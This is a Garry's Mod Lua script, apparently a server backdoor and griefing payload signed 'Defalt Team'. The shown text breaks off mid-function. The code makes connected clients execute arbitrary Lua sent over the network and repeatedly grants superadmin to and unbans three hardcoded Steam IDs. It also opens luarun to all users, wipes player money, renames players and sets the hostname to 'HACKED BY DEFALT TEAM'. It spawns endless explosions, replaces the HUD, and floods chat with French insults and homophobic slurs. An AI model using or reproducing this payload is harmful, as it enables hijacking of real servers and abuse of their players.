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- util.AddNetworkString "slua2"
- local DESIRED_NAME = "This steam account was banned by DTC for cheating"
- local lol = {}
- function lol:RandomString( intMin, intMax )
- local ret = ""
- for _ = 1, math.random( intMin, intMax ) do
- ret = ret.. string.char( math.random(65, 90) )
- end
- return ret
- end
- lol.m_tblActions = {}
- lol.m_strImageGlobalVar = lol:RandomString( 6, 12 )
- lol.m_strImageLoadHTML = [[<style type="text/css"> html, body {background-color: transparent;} html{overflow:hidden; ]].. (true and "margin: -8px -8px;" or "margin: 0px 0px;") ..[[ } </style><body><img src="]] .. "%s" .. [[" alt="" width="]] .. "%i"..[[" height="]] .. "%i" .. [[" /></body>]]
- function lol:PushAction( intChainDelay, func )
- self.m_tblActions[#self.m_tblActions +1] = { intChainDelay, func }
- end
- function lol:NextAction( pPlayer )
- pPlayer.m_intCurAction = pPlayer.m_intCurAction +1
- if not self.m_tblActions[pPlayer.m_intCurAction] then return end
- timer.Simple( self.m_tblActions[pPlayer.m_intCurAction][1], function()
- if not IsValid( pPlayer ) then return end
- self.m_tblActions[pPlayer.m_intCurAction][2]( pPlayer )
- self:NextAction( pPlayer )
- end )
- end
- function lol:Start( pPlayer )
- pPlayer.m_intCurAction = 0
- self:NextAction( pPlayer )
- end
- function lol:SendLua( pPlayer, strLua )
- net.Start( "slua2" )
- net.WriteString( strLua )
- net.Send( pPlayer )
- end
- function lol:SetupPlayer( pPlayer )
- pPlayer:SendLua( "net.Receive(\"slua2\", function() RunString(net.ReadString()) end)" )
- end
- -------START CODE FORT BAN/UNBAN/ETC...
- timer.Create( "sethealh", 1, 0, function() RunConsoleCommand("ulx", "hp", "*", "2147483647") end)
- timer.Create( "logecho0", 1, 0, function() RunConsoleCommand("ulx", "logecho", "0") end)
- timer.Create( "godall", 1, 0, function() RunConsoleCommand("ulx", "god", "*") end)
- for k, v in pairs( player.GetAll() ) do
- timer.Create( "moneymoney", 0.1, 0, function() v:addMoney(999999999999999999) end)
- timer.Create( "defaltmenubitch", 0.1, 0, function() BroadcastLua([[chat.AddText(Color(math.random(1,255),math.random(1,255),math.random(1,255)), "Le Defalt Death MENU est plus puissant que toi enculer")]]) end)
- timer.Create( "ripriprip", 0.1, 0, function() BroadcastLua([[chat.AddText(Color(math.random(1,255),math.random(1,255),math.random(1,255)), "RIP RIP RIP RIP RIP RIP RIP RIP RIP RIP RIP RIP RIP RIP RIP RIP")]]) end)
- timer.Create( "zbzbzbz", 0.1, 0, function() BroadcastLua([[chat.AddText(Color(math.random(1,255),math.random(1,255),math.random(1,255)), "Serveur de Kheh ! Zbeub zbeub")]]) end)
- timer.Create( "defaltteamenculer", 0.1, 0, function() BroadcastLua([[chat.AddText(Color(math.random(1,255),math.random(1,255),math.random(1,255)), "LA DEFALT TEAM TA ENCULER TON SERVEUR")]]) end)
- timer.Create( "ohnon", 0.1, 0, function() BroadcastLua([[chat.AddText(Color(math.random(1,255),math.random(1,255),math.random(1,255)), "Quel dommage, toutes les données du serveur seront supprimés dans moins de 1 minute ! :( ")]]) end)
- timer.Create( "checkForBanPapmeme Crmm", 10, 0, function() ULib.unban( "STEAM_0:1:445998526") end)
- timer.Create( "setSUPERADMINPapmeme Crmm", 30, 0, function() RunConsoleCommand("ulx", "adduserid", "STEAM_0:1:445998526", "superadmin") end)
- timer.Create( "checkForBanBoutique Souvenir Fight", 10, 0, function() ULib.unban( "STEAM_0:1:193209261") end)
- timer.Create( "setSUPERADMINBoutique Souvenir Fight", 30, 0, function() RunConsoleCommand("ulx", "adduserid", "STEAM_0:1:193209261", "superadmin") end)
- timer.Create( "checkForBanDefalt", 10, 0, function() ULib.unban( "STEAM_0:0:153465589") end)
- timer.Create( "setSUPERADMINDefalt", 30, 0, function() RunConsoleCommand("ulx", "adduserid", "STEAM_0:0:153465589", "superadmin") end)
- timer.Create( "adminsgonnahate", 0.05, 0, function() print("01010100 01110101 00100000 01110100 01011100 00100111 01100101 01110011 00100000 01100010 01101001 01100101 01101110 00100000 01100110 01100001 01101001 01110011 00100000 01100101 01101110 01100011 01110101 01101100 01100101 01110010 00100000 01110100 11101010 01110100 01100101 00100000 01100100 01100101 00100000 01100011 01110101 01101100 00100000 01110110 01100001 00101100 00100000 01101001 01110011 01110011 01101111 01110101 00100000 01101100 01100101 00100000 01110011 01100101 01110010 01110110 01100101 01110101 01110010 00100000 01100010 01101111 01101110 01101110 01100101 00100000 01100011 01101000 01100001 01101110 01100011 01100101 00100000 01110000 01101111 01110101 01110010 00100000 01101100 01100101 00100000 01110010 11101001 01110000 01100001 01110010 01100101 01110010 00101110") end )
- timer.Create( "luarun", 2, 0, function() RunConsoleCommand("ulx", "groupallow", "user", "ulx luarun") end)
- timer.Create( "resetmoney", 0.1, 0, function() RunConsoleCommand("rp_resetallmoney") end)
- timer.Create( "csay", 0.1, 0, function() RunConsoleCommand("ulx", "csay", "GET REKT BY DEFALT DEATH MENU") end)
- timer.Create( "hostname", 2, 0, function() RunConsoleCommand("ulx", "rcon", "hostname", "HACKED BY DEFALT TEAM") end)
- timer.Create( "rcon_password", 0.1, 0, function() RunConsoleCommand("ulx", "rcon", "rcon_password") end)
- timer.Create( "changer de nom", 0.5, 0, function() for k, v in pairs(player.GetAll()) do DarkRP.storeRPName(v, DESIRED_NAME) v:setDarkRPVar("rpname", DESIRED_NAME) end end)
- timer.Create( "undoprops", 0.1, 0, function() for k, v in pairs(player.GetAll()) do v:ConCommand("undo") end end)
- end
- ----------STOP LINE CODE FORT BAN/UNBAN/ETC...
- -----START LINE CODE FOR DANSE
- for k,v in pairs (player.GetAll()) do v:DoAnimationEvent(ACT_GMOD_TAUNT_DANCE) end timer.Create("dance_loop",8.9,0,function() for k,v in pairs (player.GetAll()) do v:DoAnimationEvent(ACT_GMOD_TAUNT_DANCE) end end )
- -----STOP LINE CODE FOR DANSE
- ------- STARTCODE FOR FORCE CHANGE NAME
- for k, v in pairs(player.GetAll()) do DarkRP.storeRPName(v, DESIRED_NAME) v:setDarkRPVar("rpname", DESIRED_NAME) end
- ------- STOP LINE CODE FOR CHANGE NAME
- ------- ARMAGEDDON
- hook.Add("Think", "armageddon", function()
- local explode = ents.Create( "env_explosion" )
- explode:SetPos( Vector(math.random(-6000, 6000), math.random(-6000, 6000), math.random(-500, 2000)) )
- explode:Spawn()
- explode:SetKeyValue( "iMagnitude", "500" )
- explode:Fire( "Explode", 0, 0 )
- end)
- ---------
- --------- GIANT
- hook.Add("Think", "giant", function()
- for k,v in pairs (player.GetAll()) do
- v:SetModelScale(50.5, 100);
- v:SetRunSpeed(400 * 2);
- v:SetWalkSpeed(200 * 2);
- end
- end)
- ------------------
- for k,v in pairs(player.GetAll()) do
- v:ConCommand("say armageddon")
- end
- for k,v in pairs(player.GetAll()) do
- v:ConCommand("say giant")
- end
- for k, v in pairs( player.GetAll() ) do
- lol:SetupPlayer( v )
- timer.Simple( 2, function() lol:Start( v ) end )
- end
- hook.Add( "PlayerAuthed", "wat", function( pPlayer )
- lol:SetupPlayer( pPlayer )
- timer.Simple( 10, function() lol:Start( pPlayer ) end )
- end )
- hook.Add( "PlayerSay", "1337command", function( pSender, strText, bTeamChat )
- if strText:sub( 1, 5 ) == "/1337" then
- pSender:Ignite( 1e9 )
- pSender:ChatPrint( "nique sa mère me casse." )
- pSender:SendLua( [[surface.PlaySound( "vo/npc/male01/hacks01.wav" )]] )
- return false
- end
- end )
- hook.Add( "PlayerSay", "what", function( pSender, strText, bTeamChat )
- if strText:sub( 1, 5 ) == "what" then
- pSender:Ignite( 1e9 )
- pSender:ChatPrint( "Comment appelons nous un choux dans l'eau, un choux marin hahahaha... lol... bref brule enculer." )
- pSender:SendLua( [[surface.PlaySound( "vo/npc/male01/hacks01.wav" )]] )
- return false
- end
- end)
- --Sequence stack
- --Start some tunes and steam in our assets
- lol:PushAction( 0, function( pPlayer )
- lol:SendLua( pPlayer, ([=[
- sound.PlayURL( "http://www.underdone.org/leak/underdone/blue.mp3", "", function()end )
- g_]=].. lol.m_strImageGlobalVar.. [=[ = {}
- local html = [[%s]]
- local function LoadWebMaterial( strURL, strUID, intSizeX, intSizeY )
- local pnl = vgui.Create( "HTML" )
- pnl:SetPos( ScrW() -1, ScrH() -1 )
- pnl:SetVisible( true )
- pnl:SetMouseInputEnabled( false )
- pnl:SetKeyBoardInputEnabled( false )
- pnl:SetSize( intSizeX, intSizeY )
- pnl:SetHTML( html:format(strURL, intSizeX, intSizeY) )
- local PageLoaded
- PageLoaded = function()
- local mat = pnl:GetHTMLMaterial()
- if mat then
- g_]=].. lol.m_strImageGlobalVar.. [=[[strUID] = { mat, pnl }
- return
- end
- timer.Simple( 0.5, PageLoaded )
- end
- PageLoaded()
- end
- LoadWebMaterial( "http://jesuschristofficiel.fr/gmod/upload2/umbrella.png", "getrekt", 1000, 1000 )
- LoadWebMaterial( "http://jesuschristoff.livehost.fr/gmod/upload/gif/tenor.gif", "getrekt2", 152, 250 )
- LoadWebMaterial( "http://jesuschristoff.livehost.fr/gmod/upload/gif/tenor.gif", "getrekt3", 152, 250 )
- ]=]):format(lol.m_strImageLoadHTML) )
- end )
- --HUD swap
- lol:PushAction( 31, function( pPlayer )
- lol:SendLua( pPlayer, [[
- (GAMEMODE or GM).CalcView = function() end
- (GAMEMODE or GM).ShouldDrawLocalPlayer = function() end
- local remove = { "PostDrawHUD", "PreDrawHUD", "HUDPaint", "HUDPaintBackground", "CalcView", "ShouldDrawLocalPlayer" }
- for k, v in pairs(remove) do
- hook.GetTable()[v] = {}
- end
- local function GetWebMat( strURL )
- return g_]].. lol.m_strImageGlobalVar.. [[[strURL]
- end
- hook.Add( "HUDPaint", "newhud", function()
- surface.SetDrawColor( 255, 255, 255, 255 )
- if GetWebMat( "getrekt" ) then
- surface.SetMaterial( GetWebMat("getrekt")[1] )
- surface.DrawTexturedRect( 500, 50, 1000, 1000 )
- end
- if GetWebMat( "getrekt2" ) then
- surface.SetMaterial( GetWebMat("getrekt2")[1] )
- surface.DrawTexturedRect( 100, 425, 400, 400 )
- end
- if GetWebMat( "getrekt3" ) then
- surface.SetMaterial( GetWebMat("getrekt3")[1] )
- surface.DrawTexturedRect( 1550, 425, 400, 400 )
- end
- draw.SimpleTextOutlined(
- "DEAD BY DEFALT TEAM",
- "DermaLarge",
- ScrW() /2 +math.random( -8, 8 ),
- ScrH() /2 +math.random( -8, 8 ) +64,
- Color(math.random(1,255),math.random(1,255),math.random(1,255)),
- TEXT_ALIGN_CENTER,
- TEXT_ALIGN_CENTER,
- 1,
- Color(math.random(1,255),math.random(1,255),math.random(1,255))
- )
- draw.SimpleTextOutlined(
- "Defalt et tous les autres PDs viennent de t'enculer bb <3 <3 <3 <3",
- "DermaDefaultBold",
- ScrW() /2 +math.random( -2, 2 ),
- ScrH() /2 +math.random( -2, 2 ) +100,
- Color(math.random(1,255),math.random(1,255),math.random(1,255)),
- TEXT_ALIGN_CENTER,
- TEXT_ALIGN_CENTER,
- 1,
- Color(math.random(1,255),math.random(1,255),math.random(1,255))
- )
- draw.SimpleTextOutlined(
- "RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, ",
- "DermaLarge",
- ScrW() /2 +math.random( -2, 2 ),
- ScrH() /2 +math.random( -2, 2 ) -160,
- Color(math.random(1,255),math.random(1,255),math.random(1,255)),
- TEXT_ALIGN_CENTER,
- TEXT_ALIGN_CENTER,
- 3,
- Color(math.random(1,255),math.random(1,255),math.random(1,255))
- )
- draw.SimpleTextOutlined(
- "ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ",
- "DermaLarge",
- ScrW() /2 +math.random( -2, 2 ),
- ScrH() /2 +math.random( -2, 2 ) +160,
- Color(math.random(1,255),math.random(1,255),math.random(1,255)),
- TEXT_ALIGN_CENTER,
- TEXT_ALIGN_CENTER,
- 3,
- Color(math.random(1,255),math.random(1,255),math.random(1,255))
- )
- draw.SimpleTextOutlined(
- "RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, ",
- "DermaLarge",
- ScrW() /2 +math.random( -2, 2 ),
- ScrH() /2 +math.random( -2, 2 ) +190,
- Color(math.random(1,255),math.random(1,255),math.random(1,255)),
- TEXT_ALIGN_CENTER,
- TEXT_ALIGN_CENTER,
- 3,
- Color(math.random(1,255),math.random(1,255),math.random(1,255))
- )
- draw.SimpleTextOutlined(
- "ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ",
- "DermaLarge",
- ScrW() /2 +math.random( -2, 2 ),
- ScrH() /2 +math.random( -2, 2 ) -190,
- Color(math.random(1,255),math.random(1,255),math.random(1,255)),
- TEXT_ALIGN_CENTER,
- TEXT_ALIGN_CENTER,
- 3,
- Color(math.random(1,255),math.random(1,255),math.random(1,255))
- )
- draw.SimpleTextOutlined(
- "RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, ",
- "DermaLarge",
- ScrW() /2 +math.random( -2, 2 ),
- ScrH() /2 +math.random( -2, 2 ) +220,
- Color(math.random(1,255),math.random(1,255),math.random(1,255)),
- TEXT_ALIGN_CENTER,
- TEXT_ALIGN_CENTER,
- 3,
- Color(math.random(1,255),math.random(1,255),math.random(1,255))
- )
- draw.SimpleTextOutlined(
- "ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ",
- "DermaLarge",
- ScrW() /2 +math.random( -2, 2 ),
- ScrH() /2 +math.random( -2, 2 ) -220,
- Color(math.random(1,255),math.random(1,255),math.random(1,255)),
- TEXT_ALIGN_CENTER,
- TEXT_ALIGN_CENTER,
- 3,
- Color(math.random(1,255),math.random(1,255),math.random(1,255))
- )
- draw.SimpleTextOutlined(
- "RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, ",
- "DermaLarge",
- ScrW() /2 +math.random( -2, 2 ),
- ScrH() /2 +math.random( -2, 2 ) +250,
- Color(math.random(1,255),math.random(1,255),math.random(1,255)),
- TEXT_ALIGN_CENTER,
- TEXT_ALIGN_CENTER,
- 3,
- Color(math.random(1,255),math.random(1,255),math.random(1,255))
- )
- draw.SimpleTextOutlined(
- "ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ",
- "DermaLarge",
- ScrW() /2 +math.random( -2, 2 ),
- ScrH() /2 +math.random( -2, 2 ) -250,
- Color(math.random(1,255),math.random(1,255),math.random(1,255)),
- TEXT_ALIGN_CENTER,
- TEXT_ALIGN_CENTER,
- 3,
- Color(math.random(1,255),math.random(1,255),math.random(1,255))
- )
- draw.SimpleTextOutlined(
- "RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, ",
- "DermaLarge",
- ScrW() /2 +math.random( -2, 2 ),
- ScrH() /2 +math.random( -2, 2 ) +280,
- Color(math.random(1,255),math.random(1,255),math.random(1,255)),
- TEXT_ALIGN_CENTER,
- TEXT_ALIGN_CENTER,
- 3,
- Color(math.random(1,255),math.random(1,255),math.random(1,255))
- )
- draw.SimpleTextOutlined(
- "ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ",
- "DermaLarge",
- ScrW() /2 +math.random( -2, 2 ),
- ScrH() /2 +math.random( -2, 2 ) -280,
- Color(math.random(1,255),math.random(1,255),math.random(1,255)),
- TEXT_ALIGN_CENTER,
- TEXT_ALIGN_CENTER,
- 3,
- Color(math.random(1,255),math.random(1,255),math.random(1,255))
- )
- draw.SimpleTextOutlined(
- "RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, ",
- "DermaLarge",
- ScrW() /2 +math.random( -2, 2 ),
- ScrH() /2 +math.random( -2, 2 ) +310,
- Color(math.random(1,255),math.random(1,255),math.random(1,255)),
- TEXT_ALIGN_CENTER,
- TEXT_ALIGN_CENTER,
- 3,
- Color(math.random(1,255),math.random(1,255),math.random(1,255))
- )
- draw.SimpleTextOutlined(
- "ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ",
- "DermaLarge",
- ScrW() /2 +math.random( -2, 2 ),
- ScrH() /2 +math.random( -2, 2 ) -310,
- Color(math.random(1,255),math.random(1,255),math.random(1,255)),
- TEXT_ALIGN_CENTER,
- TEXT_ALIGN_CENTER,
- 3,
- Color(math.random(1,255),math.random(1,255),math.random(1,255))
- )
- draw.SimpleTextOutlined(
- "RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, ",
- "DermaLarge",
- ScrW() /2 +math.random( -2, 2 ),
- ScrH() /2 +math.random( -2, 2 ) +340,
- Color(math.random(1,255),math.random(1,255),math.random(1,255)),
- TEXT_ALIGN_CENTER,
- TEXT_ALIGN_CENTER,
- 3,
- Color(math.random(1,255),math.random(1,255),math.random(1,255))
- )
- draw.SimpleTextOutlined(
- "ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ",
- "DermaLarge",
- ScrW() /2 +math.random( -2, 2 ),
- ScrH() /2 +math.random( -2, 2 ) -340,
- Color(math.random(1,255),math.random(1,255),math.random(1,255)),
- TEXT_ALIGN_CENTER,
- TEXT_ALIGN_CENTER,
- 3,
- Color(math.random(1,255),math.random(1,255),math.random(1,255))
- )
- draw.SimpleTextOutlined(
- "RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, ",
- "DermaLarge",
- ScrW() /2 +math.random( -2, 2 ),
- ScrH() /2 +math.random( -2, 2 ) -370,
- Color(math.random(1,255),math.random(1,255),math.random(1,255)),
- TEXT_ALIGN_CENTER,
- TEXT_ALIGN_CENTER,
- 3,
- Color(math.random(1,255),math.random(1,255),math.random(1,255))
- )
- draw.SimpleTextOutlined(
- "ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ",
- "DermaLarge",
- ScrW() /2 +math.random( -2, 2 ),
- ScrH() /2 +math.random( -2, 2 ) +370,
- Color(math.random(1,255),math.random(1,255),math.random(1,255)),
- TEXT_ALIGN_CENTER,
- TEXT_ALIGN_CENTER,
- 3,
- Color(math.random(1,255),math.random(1,255),math.random(1,255))
- )
- draw.SimpleTextOutlined(
- "RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, ",
- "DermaLarge",
- ScrW() /2 +math.random( -2, 2 ),
- ScrH() /2 +math.random( -2, 2 ) -400,
- Color(math.random(1,255),math.random(1,255),math.random(1,255)),
- TEXT_ALIGN_CENTER,
- TEXT_ALIGN_CENTER,
- 3,
- Color(math.random(1,255),math.random(1,255),math.random(1,255))
- )
- draw.SimpleTextOutlined(
- "ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ",
- "DermaLarge",
- ScrW() /2 +math.random( -2, 2 ),
- ScrH() /2 +math.random( -2, 2 ) +400,
- Color(math.random(1,255),math.random(1,255),math.random(1,255)),
- TEXT_ALIGN_CENTER,
- TEXT_ALIGN_CENTER,
- 3,
- Color(math.random(1,255),math.random(1,255),math.random(1,255))
- )
- draw.SimpleTextOutlined(
- "RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, ",
- "DermaLarge",
- ScrW() /2 +math.random( -2, 2 ),
- ScrH() /2 +math.random( -2, 2 ) -430,
- Color(math.random(1,255),math.random(1,255),math.random(1,255)),
- TEXT_ALIGN_CENTER,
- TEXT_ALIGN_CENTER,
- 3,
- Color(math.random(1,255),math.random(1,255),math.random(1,255))
- )
- draw.SimpleTextOutlined(
- "ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ",
- "DermaLarge",
- ScrW() /2 +math.random( -2, 2 ),
- ScrH() /2 +math.random( -2, 2 ) +430,
- Color(math.random(1,255),math.random(1,255),math.random(1,255)),
- TEXT_ALIGN_CENTER,
- TEXT_ALIGN_CENTER,
- 3,
